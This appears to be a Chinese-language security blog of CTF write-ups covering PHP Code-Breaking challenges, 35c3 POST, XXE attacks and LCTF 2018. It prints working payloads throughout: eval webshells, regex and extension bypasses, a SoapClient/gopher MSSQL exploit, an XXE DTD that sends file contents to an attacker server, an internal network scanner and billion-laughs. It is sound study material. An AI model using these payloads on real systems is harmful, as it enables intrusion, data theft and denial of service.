if(in_array(fileext($userpic), array('jpg', 'jpeg', 'png', 'gif')) && is_file($userpic)) @unlink($userpic);

修改密码

修改密码没有校验，理论上只需要知道userid即可改别人的密码。
但是userid只有在登陆的时候被写进session，而且要逆向出来，几乎不可能。

发信息

不能给管理员发信息。。因为不在同一个表里

Background

Code-Breaking Learning

Sun, 03 Mar 2019 01:28:58 +0800

Source Code:https://github.com/phith0n/code-breaking

function

$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

一开始看到??有点好奇是什么，但是其实根据页面返回，也知道他是判断$_GET是否为空。它其实是三元运算符的更简便写法。

Null coalescing operator
The null coalescing operator (??) has been added as syntactic sugar for the common case of needing to use a ternary in conjunction with isset(). It returns its first operand if it exists and is not NULL; otherwise it returns its second operand.

代码逻辑一下子就能理清楚，我们要绕过preg_match然后执行我们的函数。那什么字符能绕过^ $呢，拿出burp来试试吧～

于是，我们就能任意函数调用了～但是我们只能是第二个参数可控，这里有一个可以利用的点PHP create_function()代码注入。

create_function('$a','echo $a')
// 上面与下面的代码含义相同
$a = $_GET['a']
function text($a) {
  echo $a;
}
// Source code
$a = $_GET['a']
function text($a) {
  echo "test".$a;
}
// Bypass 
// http://localhost/create_function.php?id=2;}phpinfo();/*;
$a = $_GET['a']
function text($a) {
  echo "test";}phpinfo();/*;
}

而且为啥\就可以绕过呢？

P神给的解答是：

php里默认命名空间是\，所有原生函数和类都在这个命名空间中。普通调用一个函数，如果直接写函数名function_name()调用，调用的时候其实相当于写了一个相对路径；而如果写\function_name() 这样调用函数，则其实是写了一个绝对路径。如果你在其他namespace里调用系统类，就必须写绝对路径这种写法。

所以，现在我们就能构造我们的payload了

http://xxx:xxx/?action=%5ccreate_function&arg=echo%20hahaha;}eval($_POST['karma']);/*

然后顺利拿到flag

lumenserial

pcrewaf

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

看源码可以知道，会经过一个preg_match()判断是否是<后面有?，还有<?后面不能有(;?>反引号，emm，那就很无奈了。没有这个，到后面你保存成php，不符合语法，他也执行不了呀。

P师傅这篇文章给了思路 -> PHP利用PCRE回溯次数限制绕过某些安全限制

这里提到了NFA正则引擎和pcre.backtrack_limit
那何为NFA正则引擎？

NFA正则引擎也叫“不确定型有穷自动机“
与DFA（确定型有穷自动机）的区别在于NFA引擎匹配不上时，会进行回溯，而DFA则只会一步步顺序匹配直到匹配不上或匹配完整。
举个例子来说就是：
NFA：'/ab?/'匹配'abb'会得到'abb'
DFA：‘/ab??/’匹配'abb'会得到'a'而不是'ab‘
精通正则表达式（正则引擎）

至于pcre.backtrack_limit，在官方文档，我们可以看到默认的回溯次数上限为100w

所以我们只需要发送超长字符串（大于100w)，正则匹配就会执行失败，继续执行下面的代码。结果如下：

成功写shell，得到文件名，flag自然就拿到了。

phpmagic

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>

<?php 
if(!empty($_POST) && $domain):
                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                $output = shell_exec($command);

                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

                $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                    file_put_contents($log_name, $output);
                }

                echo $output;
            endif; 
?>

看了下源码之后，发现如下问题

因为输出经过了一次htmlspecialchars()，如何写shell？
log_name的后缀如何绕？
log_name文件名貌似有$_SERVER['SERVER_NAME']，如何绕过？

绕过htmlspecialchars()

p神之前有一篇文章介绍过伪协议的一些tricks谈一谈php://filter的妙用

这里可以用phar伪协议来绕过
但是有一点要注意的是base64是4位4位解码的，所以加密后要检查一下是否是4的倍数，不然会有bug。

绕过后缀限制

这里也有一个trick php & apache2 &操作系统之间的一些黑魔法

经过测试发现一个可以再windows和linux上都行得通的方法：
filename=1.php/.&content=<?php phpinfo();?>

绕过$_SERVER['SERVER_NAME']

这也是配置不当导致的，来看看官方的说法

意味着我们只需要改http头里的server_name就能伪造绕过。

现在我们就能结合这三个，开始写shell……

payload

host:php
domain=PD9waHAgQGV2YWwoJF9HRVRbJzEnXSk7Pz4&log=://filter/write=convert.base64-decode/resource=0akarma.php/.

Bingo...

phplimit

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

这道题虽然源码不长，但是师傅们的各种解法简直是让人眼前一亮！

session_id

session_id()配合session_start()就可以将我们想要获取的变量值通过PHPSESSID赋值，但是PHPSESSID里面需要传纯字符串，所以需要通过编码来绕过。

Payload
GET /?code=eval(hex2bin(session_id(session_start())));

PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b

get_defined_vars

get_defined_vars ( void ) : array
获取定义的全部变量到一个数组里面
This function returns a multidimensional array containing a list of all defined variables, be them environment, server or user-defined variables, within the scope that get_defined_vars() is called.

current ( array $array ) : mixed
指针指向当前数组元素
Every array has an internal pointer to its "current" element, which is initialized to the first element inserted into the array.

next ( array &$array ) : mixed
与current()类似，next指向下一个数组元素
next() behaves like current(), with one difference. It advances the internal array pointer one place forward before returning the element value. That means it returns the next array value and advances the internal array pointer by one.

// Example
<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport);    // $mode = 'foot';
$mode = end($transport);     // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';

$arr = array();
var_dump(current($arr)); // bool(false)

$arr = array(array());
var_dump(current($arr)); // array(0) { }
?>

于是结合这两个点就可以操纵下一个变量，来读flag

Payload
http://xxx:8084/
?code=eval(next(current(get_defined_vars())));
&b=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));

readfile + xxx()

这个思路简直神了，运用php内置相关列目录函数，一步步找flag，看来有空要去看看php的内置函数了:)

Payload
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

35c3 POST

Sat, 16 Feb 2019 01:41:36 +0800

Description

Code & Writeup https://github.com/eboda/35c3/tree/master/post

Go make some posts http://xxxx/
Hint: flag is in db
Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge
Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.

Get Nginx configuration bak

由hint3可知，nginx的配置是有漏洞的，扫一下后台发现uploads是403，而且url末端没有带/，于是测试一下任意文件读取，http://xxx:8000/uploads../成功读取到上一级目录。看到default.backup里面是nginx配置文件的bak

server {
    listen 80;
    access_log  /var/log/nginx/example.log;

    server_name localhost;

    root /var/www/html;

    location /uploads {
        autoindex on;
        alias /var/www/uploads/;
    }

    location / {
        alias /var/www/html/;
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }

    location /inc/ {
        deny all;
    }
}

server {
    listen 127.0.0.1:8080;
    access_log /var/log/nginx/proxy.log;

    if ( $request_method !~ ^(GET)$ ) {
        return 405;
    }
    root /var/www/miniProxy;
    location / {
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }

}

正好验证了任意文件读取的洞，还有一个就是本地访问的8080端口～先放着，估计又是一个SSRF～

audit /html/ source code

每个文件都读一读，发现default.php是个好东西～

<?php
    if (isset($_POST["title"])) {
        $attachments = array();
        if (isset($_FILES["attach"]) && is_array($_FILES["attach"])) {

            $folder = sha1(random_bytes(10));
            mkdir("../uploads/$folder");
            for ($i = 0; $i < count($_FILES["attach"]["tmp_name"]); $i++) {
                if ($_FILES["attach"]["error"][$i] !== 0) continue;
                $name = basename($_FILES["attach"]["name"][$i]);
                move_uploaded_file($_FILES["attach"]["tmp_name"][$i], "../uploads/$folder/$name");
                $attachments[] = new Attachment("/uploads/$folder/$name");
            }
        }
        $post = new Post($_POST["title"], $_POST["content"], $attachments);
        $post->save();
    }
    if (isset($_GET["action"])) {
        if ($_GET["action"] == "restart") {
            Post::truncate();
            header("Location: /");
            die;
        } else {
?>

$attachments是一个Attachment类，看一下是什么东东，

class Attachment {
    private $url = NULL;
    private $za = NULL;
    private $mime = NULL;

    public function __construct($url) {
        $this->url = $url;
        $this->mime = (new finfo)->file("../".$url);
        if (substr($this->mime, 0, 11) == "Zip archive") {
            $this->mime = "Zip archive";
            $this->za = new ZipArchive;
        }
    }

    public function __toString() {
        $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
        if (!is_null($this->za)) {
            $this->za->open("../".$this->url);
            $str .= "with ".$this->za->numFiles . " Files.";
        }
        return $str. ")";
    }

}

功能就是把上传的文件，打包成zip，然后__toString()用来展示有多少个文件（attach）

再来看看Post类的save()方法

public function save() {
    global $USER;
    if (is_null($this->id)) {
        DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)", 
            array($USER->uid, $this->title, $this->content, $this->attachment));
    } else {
        DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
            array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
    }

把数据insert进数据库，这里的$this->attachment还是个类。

再看看load()

public static function load($id) {
        global $USER;
        $res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
            array($USER->uid, $id));
        if (!$res) die("db error");
        $res = $res[0];
        $post = new Post($res["title"], $res["content"], $res["attachment"]);
        $post->id = $id;
        return $post;
    }

从db.php可以知道，当调用执行查询语句db:query()返回结果时，会搜索是否有 $serializedobject$ 开头的特征字段，如果存在，则对其进行反序列化，看来那个Attachment有用了:)

private static function retrieve_values($res) {
        $result = array();
        while ($row = sqlsrv_fetch_array($res)) {
            $result[] = array_map(function($x){
                return preg_match('/^\$serializedobject\$/i', $x) ?
                    unserialize(substr($x, 18)) : $x;
            }, $row);
        }
        return $result;
    }

但是又发现一个问题，我们不能构造 $serializedobject$ ，因为在插入之前会有过滤

private static function prepare_params($params) {
        return array_map(function($x){
            if (is_object($x) or is_array($x)) {
                return '$serializedobject$' . serialize($x);
            }

            if (preg_match('/^\$serializedobject\$/i', $x)) {
                die("invalid data");
                return "";
            }

            return $x;
        }, $params);
    }

这里也要注意arrary_map()这个函数，不然按照$params是数组的话，是死活不会die到invalid data的。

array_map ( callable $callback , array $array1 [, array $... ] ) : array

array_map() returns an array containing all the elements of array1 after applying the callback function to each one. The number of parameters that the callback function accepts should match the number of arrays passed to the array_map()

看官方wp，发现这里有点皮～

Luckily, MSSQL automatically converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $.

所以可以得知0xEF 0xBC 0x84(＄)是$的全角符号。
应该是mssql会把全角字符转化为对应的ascii码，而ascii码无论是全角还是半角都是一样的，所以用这个骚姿势就绕过了这个insert的检查。于是，在content字段构造$serializedobject＄序列化的数据，就能成功反序列化出任意类了。

Unserialize to trigger SSRF

看了一下miniProxy的代码，第一时间想到的就是SoapClient，接下来就是要想怎么去伪造她了。

# default.php
foreach($posts as $p) {
        echo $p;
        echo "<br><br>";
    }

上面的代码会把依次调用Post类和Attachment类的__toString()方法。

public function __toString() {
        $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
        if (!is_null($this->za)) {
            $this->za->open("../".$this->url);
            $str .= "with ".$this->za->numFiles . " Files.";
        }
        return $str. ")";
    }

而Attachment类的__toString()里的$this->za->open()正是我们可以利用的对象，若我们构造$this->za为SoapClient类的实例，而其中没有open()函数，她就会触发__call()函数，发送一次http请求，从而达到ssrf。

# 测试payload
<?php
class Attachment {
    private $url = NULL;
    private $za = NULL;
    private $mime = NULL;

    public function __construct() {
        $this->url = '1';
        $this->mime = '2';
        $this->za = new SoapClient(null, array('location' => 'http://127.0.0.1:2333', 'uri' => 'http://0akarma.com'));
       $this->za->open("../");
        }
}
$attachment = new Attachment();
echo '$serializedobject＄'.serialize($attachment);
?>

由之前的nginx配置可知，要访问miniProxy需要达到的条件有
端口8080
GET型请求

但是SoapClient类默认是POST型的，这里我们就需要再结合CRLF漏洞了。

gopher exploit MSSql

接下来审计一下miniProxy.php的代码

//Extract and sanitize the requested URL, handling cases where forms have been rewritten to point to the proxy.
if (isset($_POST["miniProxyFormAction"])) {
  $url = $_POST["miniProxyFormAction"];
  unset($_POST["miniProxyFormAction"]);
} else {
  $queryParams = Array();
  parse_str($_SERVER["QUERY_STRING"], $queryParams);
  //If the miniProxyFormAction field appears in the query string, make $url start with its value, and rebuild the the query string without it.
  if (isset($queryParams["miniProxyFormAction"])) {
    $formAction = $queryParams["miniProxyFormAction"];
    unset($queryParams["miniProxyFormAction"]);
    $url = $formAction . "?" . http_build_query($queryParams);
  } else {
    $url = substr($_SERVER["REQUEST_URI"], strlen($_SERVER["SCRIPT_NAME"]) + 1);
  }

看到这个?和REQUEST_URI感觉比较有戏～

if (empty($url)) {
    if (empty($startURL)) {
      die("<html><head><title>miniProxy</title></head><body><h1>Welcome to miniProxy!</h1>miniProxy can be directly invoked like this: <a href=\"" . PROXY_PREFIX . $landingExampleURL . "\">" . PROXY_PREFIX . $landingExampleURL . "</a><br /><br />Or, you can simply enter a URL below:<br /><br /><form onsubmit=\"if (document.getElementById('site').value) { window.location.href='" . PROXY_PREFIX . "' + document.getElementById('site').value; return false; } else { window.location.href='" . PROXY_PREFIX . $landingExampleURL . "'; return false; }\" autocomplete=\"off\"><input id=\"site\" type=\"text\" size=\"50\" /><input type=\"submit\" value=\"Proxy It!\" /></form></body></html>");
    } else {
      $url = $startURL;
    }
} else if (strpos($url, ":/") !== strpos($url, "://")) {
    //Work around the fact that some web servers (e.g. IIS 8.5) change double slashes appearing in the URL to a single slash.
    //See https://github.com/joshdick/miniProxy/pull/14
    $pos = strpos($url, ":/");
    $url = substr_replace($url, "://", $pos, strlen(":/"));
}
$scheme = parse_url($url, PHP_URL_SCHEME);
if (empty($scheme)) {
  //Assume that any supplied URLs starting with // are HTTP URLs.
  if (strpos($url, "//") === 0) {
    $url = "http:" . $url;
  }
} else if (!preg_match("/^https?$/i", $scheme)) {
    die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.');
}

这里限制了只能用http / https协议，那是否可以用跳转来访问？还是有什么能让$scheme经过parse_url()之后为空的呢？

var_dump(parse_url("http:///www.0akarma.com"));
# Result: boolean false

官方wp说跳转访问mssql是非预期解～～
用/miniProxy.php?gopher:///绕过才是出题人的最初想法。

The miniProxy does not return the output of the request if the resulting URL is different from the requested URL (which it is in our case).

所以我们需要知道自己的uid，然后让mssql把flag写进自己的post里面～只需要抓个包加个DEBUG头即可。

然后再用上官方的exp

php exploit.php  "insert into posts(userid,title,content,attachment) values (3,\"flag\",(select flag
from flag.flag),\"flag\");"
JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzQ5OiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMCVGQyUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDBwJTAwbyUwMHMlMDB0JTAwcyUwMCUyOCUwMHUlMDBzJTAwZSUwMHIlMDBpJTAwZCUwMCUyQyUwMHQlMDBpJTAwdCUwMGwlMDBlJTAwJTJDJTAwYyUwMG8lMDBuJTAwdCUwMGUlMDBuJTAwdCUwMCUyQyUwMGElMDB0JTAwdCUwMGElMDBjJTAwaCUwMG0lMDBlJTAwbiUwMHQlMDAlMjklMDAlMjAlMDB2JTAwYSUwMGwlMDB1JTAwZSUwMHMlMDAlMjAlMDAlMjglMDAzJTAwJTJDJTAwJTIyJTAwZiUwMGwlMDBhJTAwZyUwMCUyMiUwMCUyQyUwMCUyOCUwMHMlMDBlJTAwbCUwMGUlMDBjJTAwdCUwMCUyMCUwMGYlMDBsJTAwYSUwMGclMDAlMEElMDBmJTAwciUwMG8lMDBtJTAwJTIwJTAwZiUwMGwlMDBhJTAwZyUwMC4lMDBmJTAwbCUwMGElMDBnJTAwJTI5JTAwJTJDJTAwJTIyJTAwZiUwMGwlMDBhJTAwZyUwMCUyMiUwMCUyOSUwMCUzQiUwMCUzQiUwMC0lMDAtJTAwJTIwJTAwLSUwMCBIVFRQLzEuMQpIb3N0OiBsb2NhbGhvc3QKCiI7fX0=%

拼接起来即可！

Conclusion

出题人可谓是百费心思啊～

从nginx misconfiguration->arbitrary unserialize->SoapClient SSRF->SoapClient CRLF injection->miniProxy URL scheme bypass->Connect to MSSQL via gopher～～简直是爽的不能再爽，学到的东西太多了，国际赛就是不一样～自己还是太菜了。。

XML External Entity Learning

Fri, 15 Feb 2019 03:20:45 +0800

Basic Knowledge

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

What is XML

<?xml version="1.0" encoding="UTF-8"?> <!-- XML声明 -->
<note> <!-- 根元素 -->
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body> <!-- 这三行是子元素 -->
</note>

XML特点：
必须有根元素
必须有一个关闭标签
对大小写敏感
必须正确嵌套
* 属性值必须加引号

What is DTD

Document Type Definition 即文档类型定义，用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明)，也可以独立的放在另外一个单独的文件中(外部引用)。

实体分为一般实体和参数实体

<!-- 一般实体的声明与引用 -->
<!ENTITY 实体名称 "实体内容">
&实体名称;

<!-- 参数实体的声明与引用 -->
<!ENTITY % 实体名称 "实体内容">
%实体名称;

要注意的就是，参数实体只能在DTD中引用。而且实体字符（<、>、&、'、"）要用对应的HTML编码字符替换。

 <?xml version = "1.0" encoding = "utf-8"?>
    <!DOCTYPE test [
    <!ENTITY writer "Dawn">
    <!ENTITY copyright "Copyright W3School.com.cn">

    <!ENTITY file SYSTEM "file:///etc/passwd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    ]>
    <in>&writer;©right;</in> <!-- 内部实体声明 -->
    <out>&file;©right;</out><!-- 外部实体声明 -->

XXE Attack

Read sensitive file

读文件有两种情况，一种是有回显的，另一种是要通过DTD发送到vps上的。
下面这种是带回显的，不过一般真实环境中是不大可能存在这种情况的！
结果如图：

但是要注意的是，读取的文件内容里面不能含xml结构的字符类似于“<>&”等等。如果非要存在的话，就需要用参数实体，结合CDATA构造<![CDATA[文件内容]]>就能避免解析异常。
接下来这个是要借助外部实体和DTD，

# xml.php
<?php
    libxml_disable_entity_loader (false);
    $xmlfile = <<<EOF
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [  
<!ENTITY % remote SYSTEM "http://localhost/evil.dtd"> 
%remote;%msg;%send;
]> 
EOF;
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

逻辑就是，在xml.php创建一个参数实体，“include”一个dtd文件，dtd文件里面有两个参数实体，一个是将file协议读出来的进行base64编码，一个是通过get请求发送到我们监听了2333端口的vps

# evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Users/0akarma/Downloads/xxe.txt">
<!ENTITY % msg "<!ENTITY &#x25; send SYSTEM 'http://ip:2333?p=%file;'>">

在我们监听的vps上，就能收到带上我们读取内容的请求了。

# nc -lvp 2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 223.73.***.***.
Ncat: Connection from 223.73.***.***:5762.
GET /?p=VGhpcyBpcyB4eDxlLnR4dC4= HTTP/1.0
Host: ip
Connection: close

Intranet host discover(HTTP)

在CTF题中通常遇到这种情况一般要么给提示是内网题，要么就自己知道Linux一切皆文件这个特性，通过file协议去读取一些配置信息，如/proc/net/arp查看本机ARP缓存，/proc/self/environ查看环境变量……
如果能直接读当然是最好了，如果读不了，那就应该是根据出题人提示，然后靠脚本去爆破了～

root@6808533b3349:/var/www/html# cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
172.19.0.5       0x1         0x2         02:42:ac:13:00:05     *        eth0
172.19.0.8       0x1         0x0         00:00:00:00:00:00     *        eth0
172.19.0.6       0x1         0x2         02:42:ac:13:00:06     *        eth0
172.19.0.9       0x1         0x0         00:00:00:00:00:00     *        eth0
172.19.0.7       0x1         0x0         00:00:00:00:00:00     *        eth0
172.19.0.1       0x1         0x2         02:42:6d:59:af:db     *        eth0
172.19.0.4       0x1         0x2         02:42:ac:13:00:04     *        eth0
172.19.0.2       0x1         0x2         02:42:ac:13:00:02     *        eth0

用arp缓存检验一下脚本结果。

~/Downloads python hostdiscover.py
172.19.0.1
b''
172.19.0.2
b'\n\n<!DOCTYPE html>\n<html>\n<head>\n\n    <meta charset="utf-8">\n    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">\n    \n    \n    <meta name="keywords"  content="Blog,\xe5\x8d\x9a\xe5\xae\xa2,InforSec" />\n    <meta name="description" content="Stay hungry, stay foolish." />\n    <meta name="Author" content="" ="0aKarmA@\xe9\xaa\x85\xe6\x96\x87">\n    \n    <title>0aKarmA\'s Blog @ D0g3</title>
172.19.0.3
b''
172.19.0.4
b'<!doctype html>\n<html>\n<head>\n<meta charset="utf-8">\n<title>\xe6\x81\xad\xe5\x96\x9c\xef\xbc\x8c\xe7\xab\x99\xe7\x82\xb9\xe5\x88\x9b\xe5\xbb\xba\xe6\x88\x90\xe5\x8a\x9f\xef\xbc\x81</title>\n<link rel="stylesheet" href="//cdn.bootcss.com/bootstrap/3.3.4/css/bootstrap.min.css">\n<script src="//cdn.bootcss.com/jquery/1.11.2/jquery.min.js"></script>\n
172.19.0.5
b''
172.19.0.6
b''
172.19.0.7
b''
172.19.0.8
b'<!DOCTYPE HTML><html lang=\'en\' dir=\'ltr\'><head><meta charset="utf-8" /><meta name="referrer" content="no-referrer" /><meta name="robots" content="noindex,nofollow" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><style id="cfs-style">html{display: none;}</style><link rel="icon" href="favicon.ico" type="image/x-icon" /><link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
172.19.0.9
b''

附上脚本

#coding:utf-8
import requests
import base64


url = 'http://ip/xml.php'

for i in range(1,10):
    host = '172.19.0.' + str(i)
    payload = 'php://filter/convert.base64-encode/resource=http://' + host

    xml = '''<?xml version="1.0" encoding="utf-8"?> \r
    <!DOCTYPE test [  \r
    <!ENTITY remote SYSTEM "{}">]>\r
    <test>&remote;</test>\r
    '''.format(payload)

    print(host)

    rq = requests.post(url, data=xml).text
    rq = rq.split('\n')[-2]
    print(base64.b64decode(rq))

Intranet host-ports discover(HTTP)

经过上一Part的操作，已经知道存活的主机有哪些，那么接下来只需用burp或者脚本去爆破主机开放了哪些端口。

DOS Attack

The famous billion laughs attack

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

一般XML解析器解析XML文档时一般都会存储在内存中，所以当递归创建实体，把服务器内存空间占用尽时，就造成了dos攻击。

RCE through php expect:// wrapper

这是PHP的一个拓展，默认未开启。

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://whoami">]>
<file>&cmd;</file>

Defend XXE Attack

通过官方的方法解决：

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

手动黑名单过滤（不推荐）

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

Conclusion

之前刷CTF题，好多都是有XXE考点的，总算有时间总结一波，夯实一下基础。

Reference

一篇文章带你深入理解漏洞之 XXE 漏洞

漏洞的学习与利用总结

LCTF 2018 马后炮分析

Mon, 11 Feb 2019 03:08:22 +0800

babyphp's revenge

information collection

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
array(0) { }

扫一下目录发现flag.php，然鹅并没有发现怎么知道如下源码的。。（看样子是hint）
flag.php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

solution

1.由第一个call_user_func后面的post变量，猜测可以用到变量覆盖
2.由index.php可知session[name]可控
3.由flag.php可知，要把flag写进session，就需要本地访问，可以想到ssrf。

一开始跟小伙伴们一起复现这道题，死活写不进flag，调试了一下午，发现要么就是php引擎变量覆盖不了，要么就是soap拓展没装好～缺一不可～

